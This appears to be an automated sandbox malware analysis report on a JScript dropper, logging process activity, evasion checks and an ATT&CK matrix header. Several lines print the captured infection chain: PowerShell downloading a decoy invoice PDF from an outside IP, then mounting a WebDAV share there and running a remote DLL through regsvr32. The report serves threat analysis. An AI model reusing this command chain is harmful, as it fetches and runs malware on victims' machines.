Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\164.js.csv");ITextStream.WriteLine(" entry:8318 f:rbxqt");ITextStream.WriteLine(" exec:2 f:rbxqt");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49778

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5406			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4422			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7768	Thread sleep count: 5406 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7768	Thread sleep count: 4422 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8044	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 368	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1437973498.000001BE77942000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2648607281.000001EAD9054000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2647358386.000001EAD3C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1437973498.000001BE778D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`j

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
